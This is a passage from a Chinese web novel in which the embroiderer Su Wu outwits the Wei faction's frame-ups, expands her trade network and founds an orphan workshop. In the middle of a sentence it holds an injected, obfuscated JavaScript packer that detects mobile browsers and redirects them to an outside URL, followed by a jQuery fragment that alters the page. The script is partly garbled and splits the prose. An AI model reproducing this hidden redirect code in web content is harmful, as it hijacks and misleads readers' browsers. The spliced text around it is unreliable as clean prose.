绣坊的纹,能惊宫廷;民间的力,能撼朝堂。苏芜的锦绣人生,才真正拉开了序幕,而这尘世间的风雨,也会因她,变得愈发汹涌,却也会因她,迎来一缕清明的微光。 6. 智斗奸佞·商势初成 初夏的京城,槐花开得满城芬芳,细碎的花瓣落在青石板路上,被往来的车马碾成淡香的泥尘。温府的书房里,却无半分赏景的闲适,书卷翻卷的轻响混着珠算的噼啪声,在窗明几净的房间里绕了三匝,阳光透过雕花木窗,落在摊开的《战国策》上,也落在苏芜微垂的眉眼间。 自拜温庭远为师,已过两月。这两月,苏芜活成了旋转的陀螺,白日里,她是锦绣阁执掌一切的苏姑娘,打理账目、设计纹样、督导绣坊活计,还要兼顾宫廷尚衣局的定制需求,忙得脚不沾地;入夜后,她便换上素色布裙,踏入温府的书房,成了温庭远座下唯一的女弟子,听他讲经史子集、谈朝堂谋略、析人心诡谲,从《贞观政要》到《孙子兵法》,从朝堂派系的盘根错节到民间民生的疾苦冷暖,温庭远倾囊相授,苏芜则如饥似渴地学,过目不忘的天赋让她能将师父的话字字记在心底,通透的心思又让她能触类旁通,一点即透。 温庭远坐在楠木椅上,手中握着一卷泛黄的古籍,目光落在苏芜面前的策论上,那是她应师父要求写的《论商税与民生》,字迹虽仍带着几分乡野的拙朴,却笔笔坚定,观点更是切中要害——她提出商税宜“轻征薄敛、明账定规”,反对世家权贵利用特权偷税漏税,主张扶持寒门小商,让民间商业活起来,字字句句,皆从底层民生出发,又兼顾朝堂财政,全然不似一个初涉世事的绣坊女子,倒像个浸淫朝堂多年的老臣。 “不错。”温庭远放下古籍,指尖轻点策论上的字句,声音苍老却有力,“你能从锦绣阁的账目,看到天下商税的症结,这便是眼界。魏忠贤把持朝政,纵容党羽巧立名目征收商税,世家大族则勾结官吏,将税赋转嫁给寒门小商和百姓,长此以往,民不聊生,朝堂根基必摇。你这策论,若是呈给陛下,定能让他警醒,只是如今魏党势大,这策论,还不是呈上去的时候。” 苏芜垂首而立,指尖轻轻摩挲着袖角,她今日特意穿了最素净的青布裙,未施粉黛,唯有鬓边别着一支青竹簪,那是青禾用绣坊的竹料亲手刻的,简单却雅致。她听得师父的话,眼底闪过一丝清明:“弟子明白,势不如人时,藏锋守拙方为上策。如今魏党把持六部,柳太傅之流趋炎附势,陛下虽有心整顿,却无可用之人,此时递上策论,非但无益,反倒会引火烧身,让锦绣阁成为魏党的眼中钉。” “你能想通这一点,便是长进。”温庭远眼中闪过一丝欣慰,他当初看中苏芜,不仅是因为她的才华与韧性,更因为她的通透——不贪功、不冒进,知进退、明得失,这在年轻一辈中,实属难得,“魏忠贤近日已注意到你,前日他派心腹太监送了百两黄金、一对玉如意到锦绣阁,想拉拢你,你假意周旋,却未收礼,做得很好。” 苏芜抬眼,眼底闪过一丝冷意:“魏忠贤并非真的想拉拢我,不过是见锦绣阁是宫廷专供,又知我是师父的弟子,想探探虚实罢了。他若真有诚意,便不会让柳清柔依旧在暗中找锦绣阁的麻烦。弟子不收他的礼,既不得罪他太深,又表明了不与他同流合污的态度,只是这缓兵之计,怕是撑不了太久。” 她的话一语中的。魏忠贤自贵妃得宠后,便权倾朝野,党羽遍布朝堂,他早已听闻温庭远在暗中联络忠良之士,只是抓不到把柄,如今苏芜作为温庭远的弟子,执掌着连接宫廷与民间的锦绣阁,自然成了他的眼中刺、肉中钉。送厚礼拉拢,不过是第一步,若是苏芜不从,接下来,便是雷霆万钧的打压。 而柳清柔,作为柳太傅的庶女,仗着父亲是魏忠贤的铁杆党羽,更是将苏芜视为眼中钉。自上次宫中刁难失败后,她便一直怀恨在心,暗中多次找锦绣阁的麻烦,要么是买通街边的地痞,骚扰锦绣阁的客人,要么是派人在坊间散布谣言,说锦绣阁的绣品用的是残次布料,欺瞒宫廷,只是这些小伎俩,都被苏芜轻易化解——地痞被王大带着绣坊的杂役打跑,谣言则被苏芜用实打实的绣品质量和宫廷的夸赞彻底粉碎。 温庭远点点头,拿起桌上的一枚玉佩,递给苏芜,那玉佩是墨玉所制,上面刻着一只低调的玄鸟,触手生温:“这是我温家的信物,持此玉佩,可入京城九门的忠良之士府邸,若遇危难,见玉佩如见我,他们会出手相助。魏忠贤很快便会对你动手,你需早做准备。” 苏芜双手接过玉佩,掌心感受到墨玉的温度,也感受到师父沉甸甸的托付,她躬身行礼,声音坚定:“弟子谢师父厚爱,定当妥善保管,步步为营,不辜负师父期望。” 从温府出来时,暮色已染遍京城的天空,槐花香被晚风卷着,扑了满怀。苏芜坐上锦绣阁的马车,青禾早已在车里备好了温热的莲子羹,见她回来,连忙递上:“苏芜姐姐,你可算回来了,今日绣坊里来了个草药商贩,说是被地痞欺负了,药材被抢了大半,跪在绣坊门口求你帮忙,赵老说那人是个实诚人,让我留着他等你回来。” 苏芜接过莲子羹,喝了一口,清甜的暖意顺着喉咙滑入心底,她挑眉:“赵老?他倒是热心。” 赵老是苏芜半月前结识的老人,年逾花甲,在京城南城的街头摆草药摊,一手草药辨识的本事出神入化。苏芜因懂草药,闲暇时便会去南城的草药街逛逛,那日恰逢赵老被几个地痞欺负,地痞不仅抢了他的药材,还打断了他的腿,苏芜见他可怜,又惜他的本事,便让王大送他去医馆治伤,还替他付了医药费,又派人教训了那几个地痞,把抢来的药材尽数追回。赵老感念苏芜的恩情,便执意要报答,苏芜见他识草药、懂行情,便在锦绣阁旁开了一间小小的草药铺,让赵老打理,主营跌打损伤、风寒感冒的寻常草药,也兼收乡野百姓送来的草药,一来二去,赵老成了苏芜的得力助手,不仅把草药铺打理得井井有条,还帮她打听南城的坊间消息,成了她的“耳目”。 马车行至锦绣阁,苏芜刚下车,便看到一个衣衫褴褛、腿上还缠着绷带的老者,跪在绣坊的朱红大门前,见她走来,连忙磕头:“苏姑娘,求您救救我,那些地痞是柳家的人,他们说我不该跟着您做事,还要砸了我的草药铺,求您发发善心,救救我……” 苏芜扶起老者,见他正是赵老说的那个草药商贩,姓周,人称周老丈,是江南来的草药商,专门收罗江南的名贵草药,此次来京城,本想与赵老合作,却不料刚到南城,就被柳家的人盯上了。苏芜眼底闪过一丝冷意,柳清柔还真是阴魂不散,明的不行,就来暗的,欺负一个手无寸铁的草药商贩,不过是想杀鸡儆猴,警告她罢了。 “周老丈,你起来吧。”苏芜的声音平静,却带着一股安定人心的力量,“既然你想与赵老合作,便留在我的草药铺吧,有我在,柳家的人,不敢动你。” 她说着,对王大使了个眼色,王大立刻会意,对着身后的几个杂役道:“把周老丈扶到草药铺,再派两个人守在草药铺门口,日夜轮值,若是有柳家的人来闹事,直接打出去,出了事,我担着!” 周老丈千恩万谢,被杂役扶着去了草药铺。苏芜站在锦绣阁的门口,看着南城的方向,眼底的冷意越来越浓。柳清柔,柳太傅,魏忠贤,这些人,一个个都想把她踩在脚下,可她苏芜,从来都不是任人揉捏的软柿子。你若来犯,我必反击,这一次,她不会再只做防守,她要主动出击,让柳家,让魏党,尝尝惹到她的滋味。 接下来的几日,苏芜表面上依旧风平浪静地打理锦绣阁的事务,设计新的宫廷纹样,督导绣坊赶工,暗地里,却让赵老和王大分头行动——赵老负责打听柳家的产业底细,尤其是柳家的布庄和药铺,王大则负责联络京城的寒门商贩,尤其是那些被柳家和魏党欺压过的小商,收集他们被欺压的证据。苏芜知道,柳太傅作为魏忠贤的党羽,借着权势敛财,他的产业里,定然藏着不少猫腻,而那些被欺压的寒门商贩,便是她手中最锋利的剑。 而魏忠贤那边,见苏芜软硬不吃,果然按捺不住,开始动手了。他与柳太傅密谋,定下了两条毒计,一条针对宫廷,一条针对朝堂,想让苏芜身败名裂,万劫不复。 第一日清晨,尚衣局的掌事姑姑便带着十几个宫人,怒气冲冲地来到锦绣阁,手中拿着一匹绣好的宫装锦缎,摔在苏芜面前:“苏姑娘,你好大的胆子!竟敢用残次的云锦绣制宫装,欺瞒贵妃娘娘,欺瞒陛下,你可知罪?” 苏芜低头看去,那匹锦缎是贵妃娘娘定制的常服,绣着她设计的荷莲纹样,只是锦缎的边角,有一处明显的织疵,而且绣线的色泽也比正品暗淡了几分,确实是残次的绣品。可这匹绣品,并非锦绣阁的绣娘们所绣——她设计的纹样,每一处都有独特的标记,荷莲的花蕊处,会用三缕金线绣出一个小小的“芜”字,而这匹残次绣品的花蕊处,空空如也,毫无标记。 周围的绣娘们都慌了,温氏也匆匆赶来,脸色发白:“掌事姑姑,这定然是误会,我们锦绣阁的绣品,从来都是精挑细选,绝不敢用残次布料欺瞒宫廷!” “误会?”掌事姑姑冷笑一声,“这绣品是从锦绣阁送进宫的,上面还有锦绣阁的印记,如今出了残次,你却说这是误会?贵妃娘娘见了这绣品,龙颜大怒,命我来查,若是查不出个所以然,不仅锦绣阁的宫廷专供之位会被撤销,你们所有人,都要被治罪!” 就在这时,柳清柔穿着一身华丽的粉裙,摇着团扇,慢悠悠地走了进来,脸上带着幸灾乐祸的笑:“苏姑娘,你也有今天?竟敢用残次布料绣制宫装,这可是欺君之罪,轻则抄家,重则砍头,你这乡下来的丫头,怕是不知道欺君之罪的下场吧?” 她说着,对着身后的侍女使了个眼色,侍女立刻拿出一个绣绷,上面是半幅绣品,与那匹残次宫装的纹样一模一样,只是绣工更粗糙:“掌事姑姑,您看,这是我从锦绣阁的浆洗房找到的,定是苏姑娘让绣娘们偷工减料,用残次布料绣制宫装,想蒙混过关!” 绣娘们都义愤填膺,纷纷道:“这不是我们绣的!我们绣的宫装,都有苏姑娘的标记!” “这绣绷根本不是我们绣坊的!我们的绣绷都是刻着锦绣阁的字的!” 苏芜抬手,示意众人安静,她走到那匹残次宫装前,指尖轻轻拂过锦缎的织疵,又拿起那绣绷,看了看绣线的质地,眼底闪过一丝了然,随即抬眼看向掌事姑姑,声音清亮,不卑不亢:“掌事姑姑,这匹绣品,并非锦绣阁所绣,而是有人故意伪造,栽赃陷害我锦绣阁。” “你胡说!”柳清柔厉声呵斥,“这绣品明明是从锦绣阁送进宫的,还有锦绣阁的印记,你竟敢抵赖!” “柳姑娘稍安勿躁。”苏芜淡淡瞥了她一眼,目光落在那匹宫装的印记上,“锦绣阁的印记,是用朱砂混合金粉盖的,色泽暗红,历久不褪,而这匹绣品上的印记,色泽鲜红,一擦便掉,明显是有人仿造的。再者,我设计的荷莲纹样,花蕊处有三缕金线绣的‘芜’字,这是我独有的标记,宫廷的绣品,每一件都有,掌事姑姑可以去尚衣局查验,看看我锦绣阁送进宫的其他绣品,是否都有此标记。” 掌事姑姑闻言,立刻让人取来锦绣阁之前送进宫的绣品,果然,每一件的荷莲花蕊处,都有一个小小的“芜”字,金线绣制,精致却不张扬,而那匹残次绣品,却没有丝毫痕迹。掌事姑姑的脸色沉了下来,她看向柳清柔,眼底闪过一丝怀疑:“柳姑娘,这是怎么回事?” 柳清柔的脸色一阵红一阵白,强装镇定道:“这……这定是苏芜故意狡辩,她定是怕被治罪,才故意说有什么标记!” “我是否狡辩,一查便知。”苏芜的目光落在绣坊的一个小绣娘身上,那小绣娘低着头,眼神躲闪,双手紧紧攥着衣角,正是之前被苏芜赶走的春桃——张嬷嬷的远房侄女,被柳清柔买通,偷偷混进锦绣阁,伪造了这匹残次绣品,还仿造了锦绣阁的印记,想栽赃陷害。 苏芜走到春桃面前,声音平静却带着一股威压:“春桃,是谁让你伪造宫装,栽赃陷害锦绣阁的?是柳清柔,还是柳太傅?” 春桃被苏芜的目光看得浑身发抖,双腿一软,瘫坐在地上,哭着道:“是柳姑娘,是柳姑娘让我做的!她给了我五十两银子,让我混进锦绣阁,用残次布料伪造宫装,仿造锦绣阁的印记,送进宫里,栽赃苏姑娘……我一时糊涂,才做了错事,求苏姑娘饶了我,求掌事姑姑饶了我……” 真相大白,柳清柔的脸色惨白如纸,踉跄着后退了几步,指着春桃:“你胡说!你血口喷人!我根本不认识你!” “柳姑娘,事到如今,你还想抵赖?”苏芜拿出一封书信,那是赵老从春桃的住处搜出来的,是柳清柔写给春桃的亲笔信,上面写着让她伪造宫装的吩咐,还有柳清柔的亲笔签名,“这是你的亲笔信,铁证如山,你还有什么话可说?” 掌事姑姑看着那封书信,脸色彻底沉了下来,她对着柳清柔冷冷道:“柳姑娘,你竟敢伪造宫廷绣品,栽赃陷害锦绣阁,欺瞒贵妃娘娘,我这就进宫回禀贵妃娘娘,让陛下定你的罪!” 柳清柔吓得魂飞魄散,转身想跑,却被王大带着杂役拦住了去路,插翅难飞。 这是魏忠贤和柳太傅的第一条毒计,栽赃苏芜欺君,本想让她万劫不复,却不料被苏芜凭借着独特的纹样标记和铁证,轻松化解,还反将柳清柔一军。 可苏芜知道,这只是开始,魏忠贤的第二条毒计,很快便会到来。 果然,当日午后,京城的税官便带着十几个衙役,来到锦绣阁,说是有人诬告锦绣阁偷税漏税,数额巨大,奉命查抄锦绣阁的账目,封停锦绣阁的生意。 来的税官姓林,是魏忠贤的党羽,柳太傅的门生,他一进门,便摆着一副趾高气扬的模样,对着苏芜道:“苏姑娘,有人告你锦绣阁自开业以来,偷税漏税数万两白银,今日我奉府尹大人之命,查抄账目,封停店铺,你若敢阻拦,便是抗旨!” 温氏吓得脸色发白,拉着苏芜的手道:“苏芜,这可怎么办?我们的账目一直都清清楚楚,怎么会有人诬告我们偷税漏税?” 苏芜拍了拍温氏的手,示意她放心,她看向林税官,淡淡道:“林大人,锦绣阁的账目,向来明明白白,按时缴税,从未有过偷税漏税之事,不知是谁诬告我锦绣阁?可有证据?” “有没有证据,查了账目便知!”林税官冷哼一声,对着衙役道,“来人,把锦绣阁的账目都搜出来,仔细查!若是查出问题,立刻封店,把苏芜拿下!” 衙役们一拥而上,就要去搜账房,苏芜抬手拦住他们,声音冷冽:“慢着!锦绣阁是宫廷专供绣坊,奉旨经营,未经陛下和贵妃娘娘的旨意,谁敢擅自查抄?林大人,你身为税官,应知朝廷律法,宫廷专供的商户,非奉旨不得查抄,你今日这般行事,是想抗旨吗?” 林税官的脚步一顿,脸色微变,他倒是忘了锦绣阁是宫廷专供,有御赐的牌匾,未经旨意,确实不能擅自查抄。可他收了柳太傅的好处,又受魏忠贤的吩咐,今日必须封了锦绣阁,他硬着头皮道:“苏姑娘,你别拿宫廷专供压我!偷税漏税,罪证确凿,便是宫廷专供,也难逃律法制裁!今日我必须查账!” “林大人执意要查,也可以。”苏芜冷笑一声,“只是今日你若查不出问题,便是诬告宫廷专供商户,按律当斩,林大人,你担得起这个罪名吗?” 她的话字字铿锵,带着一股不容置疑的威严,林税官被她看得心里发慌,却依旧嘴硬:“我奉府尹大人之命查账,便是查不出问题,也与我无关!” “好,那便查。”苏芜侧身,让开道路,“账房在那边,林大人请便,只是我锦绣阁的账目,一日一结,一月一查,每一笔收支,每一次缴税,都有详细记录,还有税局的缴税凭证,林大人可仔细查,若是有半分差错,我苏芜甘愿领罪,若是没有,林大人,你便等着陛下降罪吧。” 林税官带着衙役冲进账房,翻箱倒柜地查账,锦绣阁的账房先生站在一旁,淡定地看着他们,手中拿着厚厚的缴税凭证:“林大人,这是锦绣阁自开业以来的所有缴税凭证,每一张都有税局的印章,你可以仔细核对。” 账房里的算盘声噼啪作响,衙役们查了一遍又一遍,从清晨查到日暮,把锦绣阁的账目翻了个底朝天,却发现账目清清楚楚,每一笔收支都记得明明白白,每一次缴税都按时足额,甚至比律法规定的还要早,别说偷税漏税数万两,就连一两银子的差错,都找不出来。 林税官的脸色越来越白,额头上冒出了细密的汗珠,他知道,自己今日栽了,不仅没查到锦绣阁的问题,还落了个诬告的把柄。 苏芜站在账房门口,看着狼狈的林税官,淡淡道:“林大人,查得如何?我锦绣阁可有偷税漏税?” 林税官支支吾吾,说不出话来:“这……这……” “林大人查不出问题,便是诬告。”苏芜的目光冷冽,“今日之事,我会进宫回禀贵妃娘娘,上奏陛下,让陛下定夺,林大人,你就等着陛下降罪吧。” 林税官吓得魂飞魄散,噗通一声跪在地上,对着苏芜磕头:“苏姑娘,求您饶了我,我是一时糊涂,被柳太傅蛊惑了,求您大人有大量,饶了我这一次……” 就在这时,苏芜让人请来的京兆尹大人也到了,京兆尹姓顾,是温庭远的门生,忠良之士,他看着跪在地上的林税官,又看了看锦绣阁的账目,脸色沉了下来:“林大人,你身为税官,竟敢诬告宫廷专供商户,滥用职权,来人,把林税官拿下,打入大牢,听候陛下降罪!” 衙役们上前,将林税官拖了下去,林税官的哭喊声在锦绣阁里回荡,却无人同情。 魏忠贤和柳太傅的第二条毒计,诬告锦绣阁偷税漏税,也被苏芜凭借着清晰的账目和朝廷律法,轻松化解,还拿下了魏忠贤的党羽林税官。 一日之内,化解两大危机,反将柳家和魏党一军,锦绣阁的名声,不仅没有受损,反而更加响亮,京城的百姓都称赞苏芜聪慧果敢,不畏权贵,锦绣阁的生意,也比往日更加兴隆,不少寒门商贩都慕名而来,想与锦绣阁合作。 而宫里的贵妃娘娘,得知柳清柔伪造宫装、栽赃陷害锦绣阁后,龙颜大怒,下旨将柳清柔禁足于柳府,永世不得出宫,柳太傅也因教女无方、纵容女儿作恶,被陛下训斥,罚俸一年,连带着魏忠贤,也因举荐失当,被陛下敲打了一番,魏党一时之间,竟不敢再轻易对苏芜动手。 经此一事,苏芜在京城的声望,愈发高涨,而她的力量,也在悄然壮大。 借着这次的机会,苏芜将收集到的柳家偷税漏税、欺压寒门商贩的证据,连同林税官的供词,一并呈给了陛下。陛下本就对魏党和柳太傅的所作所为不满,见了证据,龙颜大怒,下旨彻查柳家的产业,查出柳家偷税漏税数万两白银,还强占寒门商贩的店铺,欺压百姓,陛下当即下旨,抄没柳家的部分产业,罚银十万两,柳太傅被降职三级,调离京城,前往偏远之地任职,柳家一夜之间,从云端跌入泥潭,彻底失势。 而苏芜呈给陛下的《论商税与民生》,也在此时被温庭远暗中递到了陛下的手中,陛下看后,深以为然,对苏芜的才华更加赏识,下旨采纳苏芜的建议,整顿商税,轻征薄敛,明账定规,还任命顾京兆尹为商税司主事,负责整顿全国的商税,打压世家权贵的偷税漏税行为,扶持寒门小商。 苏芜的第一步,走得稳准狠,不仅扳倒了柳家,还推动了商税的整顿,为寒门商贩谋了福利,也为自己积累了民心。 而锦绣阁这边,苏芜借着柳家失势的机会,收购了柳家的几间布庄和绣坊,将锦绣阁的规模扩大了数倍,还在京城的东西南北四城,各开了一家锦绣阁分号,不仅经营绣品,还兼营布匹、丝绸,生意做得风生水起。 她的草药铺,也在赵老和周老丈的打理下,越做越大,从最初的小小药铺,变成了京城南城最大的草药行,不仅收罗京城的草药,还与江南、巴蜀的草药商建立了联系,药材遍布全国,成了苏芜的另一大产业。 苏芜并没有满足于此,她知道,商业是她的根基,只有商业壮大,她才有足够的财力和人脉,支撑着她与魏党抗衡,支撑着她保护想保护的人。她利用锦绣阁和草药行的商业网络,与京城的寒门商贩建立了联盟,成立了“惠民商社”,由赵老担任社长,整合寒门商贩的资源,互帮互助,对抗世家权贵的欺压,还为寒门商贩提供资金和货源,让他们能安稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239933|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做生意。 “惠民商社”的成立,让苏芜在京城的寒门商贩中,威望大增,越来越多的寒门商贩加入商社,苏芜的商业版图,也越来越大,从绣品、布匹、草药,逐渐拓展到粮食、茶叶、瓷器,成了京城乃至全国最大的寒门商人,手中的财力,也越来越雄厚。 而苏芜心中一直想做的事,也终于提上了日程——收养孤女,传授她们技艺,让那些和她一样无依无靠的女子,能有活下去的底气。 她在锦绣阁的后院,开辟了一间大大的绣坊,取名“惜春坊”,专门收养街头的孤女,还有那些被世家权贵欺压的女子,教她们刺绣、织布、辨识草药,若是她们愿意,便留在锦绣阁或草药行做事,若是想离开,便给她们一笔银子,让她们能自立门户。 惜春坊的第一任坊主,是青禾,青禾跟着苏芜许久,刺绣技艺愈发精湛,心思也细腻温柔,将惜春坊打理得井井有条。第一批进入惜春坊的孤女,有十几个,最大的十六岁,最小的只有八岁,她们都是苏芜从街头救回来的,一个个面黄肌瘦,却眼神明亮,对苏芜充满了感激,学习技艺也格外刻苦。 苏芜时常去惜春坊,教她们刺绣纹样,教她们辨识草药,教她们做人的道理,告诉她们:“女子并非只能依附男子生存,我们靠自己的双手,也能活得很好,活得有尊严,活得独美。” 她的话,像一颗种子,在这些孤女的心底生根发芽,她们看着苏芜,看着这个从乡野孤女一步步走到京城商界翘楚的女子,心中充满了希望,也暗暗发誓,要像苏芜一样,靠自己的力量,活下去,活得好。 而温庭远那边,见苏芜的力量越来越壮大,民心越来越高,也开始让她参与更多的忠良之士的密事。苏芜利用自己的商业网络,为忠良之士传递消息、筹措钱财,用绣品的纹样作为暗号,设计了一套全新的暗号系统,将纹样与草药结合,更加隐蔽,更加安全,多次帮助忠良之士化解了魏忠贤的埋伏和追杀。 她还利用自己的财力,暗中资助寒门子弟读书,在京城开设了三间义学,聘请教书先生,免费教寒门子弟读书识字,为朝廷输送人才。这些寒门子弟,大多心怀感恩,对苏芜十分敬重,日后入朝为官,也成了苏芜的一大助力。 日子一天天过去,苏芜的势力,在不知不觉中,已经盘根错节,遍布京城的商界、民间,甚至朝堂的寒门官员中,也有不少人受过她的恩惠,对她心怀感激。她不再是那个无依无靠的乡野孤女,也不再是那个锦绣阁的杂役,她成了京城商界的无冕之王,成了寒门百姓心中的“苏大善人”,成了温庭远手中最锋利的剑,成了魏忠贤眼中最忌惮的对手。 而魏忠贤,经此一事,也收敛了不少,他知道苏芜如今势大,民心所向,又有温庭远和忠良之士的支持,还有贵妃娘娘和陛下的赏识,不可轻易动之,便暂时按捺住了杀心,暗中积蓄力量,等待着反击的机会。 朝堂的暗流,依旧在汹涌,苏芜与魏忠贤的较量,才刚刚开始。 而就在这时,一个苏芜早已遗忘的人,却突然出现在了京城,打破了这份暂时的平静——苏大柱和王桂香,带着苏翠,来到了京城,想攀附苏芜。 这日清晨,锦绣阁的门口,围了一群人,苏大柱穿着一身不合身的粗布新衣,王桂香穿着花里胡哨的布裙,苏翠则穿着一身破旧的绣裙,头发枯黄,面色憔悴,与往日的骄纵判若两人,三人跪在锦绣阁的门口,大声哭喊着:“苏芜,我的好侄女,你快出来见见我们吧!我们是你的亲人啊!” “苏芜,你如今发达了,可不能忘了本啊!我们养了你十几年,对你恩重如山,你快出来认认我们吧!” “姐姐,我知道错了,我以前不该欺负你,求你看在一家人的情分上,救救我们吧,我们在乡下活不下去了……” 三人的哭喊,引来了不少百姓围观,指指点点,议论纷纷。 王大匆匆跑进绣坊,告诉苏芜:“苏姑娘,苏家村的苏大柱和王桂香,还有苏翠,跪在门口哭喊,说要见你,还说你忘恩负义,不认亲人。” 苏芜正在惜春坊教孤女们刺绣,听到这个消息,手中的绣针顿了顿,眼底闪过一丝漠然,没有半分波澜。苏大柱,王桂香,苏翠,这些名字,早已成了她生命中的过客,那些过往的苦难,早已成了她成长的勋章,她从未想过报复,也从未想过原谅,只是将他们彻底遗忘,如今他们找上门来,不过是想攀附她的权势,贪图她的钱财罢了。 青禾看着苏芜的模样,轻声道:“苏芜姐姐,要不要我让王大把他们赶走?” 苏芜摇了摇头,放下绣针,淡淡道:“不必,我去见见他们。” 她走到锦绣阁的门口,站在朱红大门前,看着跪在地上的三人,眼神平静,没有丝毫的情绪,既没有恨,也没有怜,仿佛看着三个陌生人。 苏大柱见苏芜出来,立刻磕头:“苏芜,我的好侄女,你可算出来了,你看看我们,我们在乡下活不下去了,翠儿的婚事也黄了,张公子知道我们家出了事情,就退婚了,我们走投无路,只能来京城找你,你如今发达了,一定要救救我们啊!” 王桂香也跟着磕头,脸上挤出虚伪的笑容:“苏芜,婶子知道以前对你不好,婶子错了,婶子给你赔罪了,求你看在婶子养了你十几年的情分上,给我们一口饭吃,给翠儿找个好人家,婶子下辈子做牛做马,报答你的大恩大德!” 苏翠则哭着道:“姐姐,我知道错了,我以前不该欺负你,不该设计陷害你,求你原谅我吧,求你救救我吧,我不想在乡下受苦,我想在京城过好日子……” 苏芜看着他们丑陋的嘴脸,听着他们虚伪的话语,心底没有丝毫的触动,她淡淡开口,声音平静却带着一股疏离:“我与你们,早已两清。” 一句话,让三人的哭喊戛然而止,愣在原地。 苏芜继续道:“当年,你们收养我,并非出于好心,不过是把我当作免费的劳力,动辄打骂,克扣粮食,最后还想把我卖给山里的李老光棍,换钱给苏翠当嫁妆。我从苏家逃出来,九死一生,走到京城,吃过的苦,受过的罪,都是我自己扛过来的,与你们无关。你们养我十几年,我今日给你们五十两银子,当作报答,从此,我苏芜,与苏家,再无任何关系,你们走,不要再出现在我面前。” 她说着,对王大使了个眼色,王大立刻拿出五十两银子,扔在三人面前。 五十两银子,对苏芜来说,不过是九牛一毛,对苏家村的人来说,却是一笔巨款。可苏大柱和王桂香,却并不满足,他们见苏芜如今发达,锦绣阁生意兴隆,想要的远不止五十两银子,王桂香立刻哭喊道:“苏芜,你怎么能这么狠心?五十两银子就想打发我们?你如今家财万贯,给我们千两万两都是应该的!你要是不答应,我们就跪在这门口,让所有人都知道,你苏芜是个忘恩负义的白眼狼!” 苏翠也跟着哭喊:“就是!姐姐,你不能这么狠心,我们是你的亲人啊!” 周围的百姓,听了苏芜的话,又看了看三人的嘴脸,都明白了过来,纷纷指责:“原来是这样!这家人也太过分了,把人家当牛做马,还想卖了人家,如今人家发达了,又想来攀附,真是厚颜无耻!” “苏姑娘心善,还给他们五十两银子,换做是我,一分钱都不会给!” “赶紧走吧!别在这丢人现眼了!” 苏芜看着他们的嘴脸,眼底闪过一丝冷意:“我给你们五十两银子,已是仁至义尽,若是你们还敢在这门口撒野,扰乱锦绣阁的生意,我便让官差把你们抓起来,按律治罪。王大,把他们赶走。” 王大立刻带着杂役上前,架起三人,就要把他们赶走。苏大柱和王桂香还想挣扎,却被杂役死死按住,苏翠看着苏芜冷漠的眼神,终于害怕了,哭着道:“姐姐,我错了,我们走,我们再也不来了……” 三人被杂役架着,赶出了京城,从此,再也不敢出现在苏芜面前。苏芜看着他们消失的背影,眼底没有丝毫的波澜,转身走进锦绣阁,关上了朱红大门,将那些过往的苦难,彻底关在了门外。 她的人生,早已向前走去,那些曾经伤害过她的人,早已不配出现在她的世界里。 夕阳西下,金色的余晖洒在锦绣阁的牌匾上,熠熠生辉。苏芜站在锦绣阁的二楼,凭栏远眺,看着京城的万家灯火,看着街头往来的百姓,看着惜春坊里认真学习刺绣的孤女,眼底满是平静与坚定。 青禾走到她身边,递上一杯温热的菊花茶:“苏芜姐姐,都处理好了。” 苏芜接过菊花茶,喝了一口,清甜的茶香在嘴里散开,她点了点头,看向远方:“青禾,你看这京城,繁华似锦,却也藏着无数的苦难,我从尘泥里走来,深知底层百姓的不易,深知女子的艰难。我做的这一切,不仅是为了自己,也是为了让那些和我一样的人,能有活下去的希望,能有尊严地活着。” 青禾看着苏芜的侧脸,在夕阳的余晖下,她的眉眼温柔却坚定,像一株迎着阳光生长的翠竹,坚韧不拔,独美于世。青禾点了点头,轻声道:“苏芜姐姐,我会一直陪着你,陪着你做想做的事,陪着你走到最后。” 苏芜笑了笑,抬手揉了揉青禾的头,眼底满是暖意。她的身边,有青禾的陪伴,有赵老、王大的助力,有温庭远的指点,有无数寒门百姓和孤女的支持,她不再是孤身一人。 朝堂的暗流依旧汹涌,魏忠贤的反击随时可能到来,前路依旧布满荆棘,可苏芜早已无所畏惧。她从尘泥里的孤女,一步步走到如今,靠的从来都不是运气,而是自己的韧性、智慧和双手。她不攀附、不妥协、不将就,靠着自己的力量,在这乱世中,走出了一条属于自己的路,活成了自己的光。 她的目光,望向皇宫的方向,眼底闪过一丝冷意。魏忠贤,你想扳倒我,想独霸朝堂,想欺压百姓,我苏芜,定不会让你如愿。这场较量,才刚刚开始,而最后的赢家,一定是心怀天下、坚守本心的人。 夜色渐浓,京城的灯火次第亮起,锦绣阁的灯笼,也高高挂起,照亮了门前的青石板路,也照亮了苏芜前行的路。 7. 魏党反扑·势撼朝野 深秋的京城,褪去了盛夏的燥热,满城的银杏叶被秋风染成金红,簌簌落在青石板路上,被往来的车马碾成碎金,卷着淡淡的桂花香,在街头巷尾弥漫。锦绣阁的朱红大门前,车马络绎不绝,南来北往的商贩、身着华服的世家贵女、宫中派来的内侍,皆往来于此,门楣上的“宫廷专供”御赐牌匾,在秋日的阳光下熠熠生辉,彰显着这份独一份的荣宠。 此时的苏芜,早已不是那个站在浆洗房里搓洗绸缎的杂役,也不是那个仅能执掌锦绣阁一隅的账房助理。她身着一身素色锦裙,外罩一件月白披风,长发仅用一支玉簪束起,眉眼间褪去了初到京城的怯懦,添了几分历经风雨后的沉稳与淡然,唯有那双眸子,依旧清亮坚定,藏着洞察一切的通透。她站在锦绣阁总号的二楼窗前,凭栏远眺,目光掠过京城的繁华街巷,落在南城的方向——那里是惠民商社的总坛,也是她一手建立的寒门商业根基,此刻正人声鼎沸,寒门商贩们往来交易,一派欣欣向荣的景象。 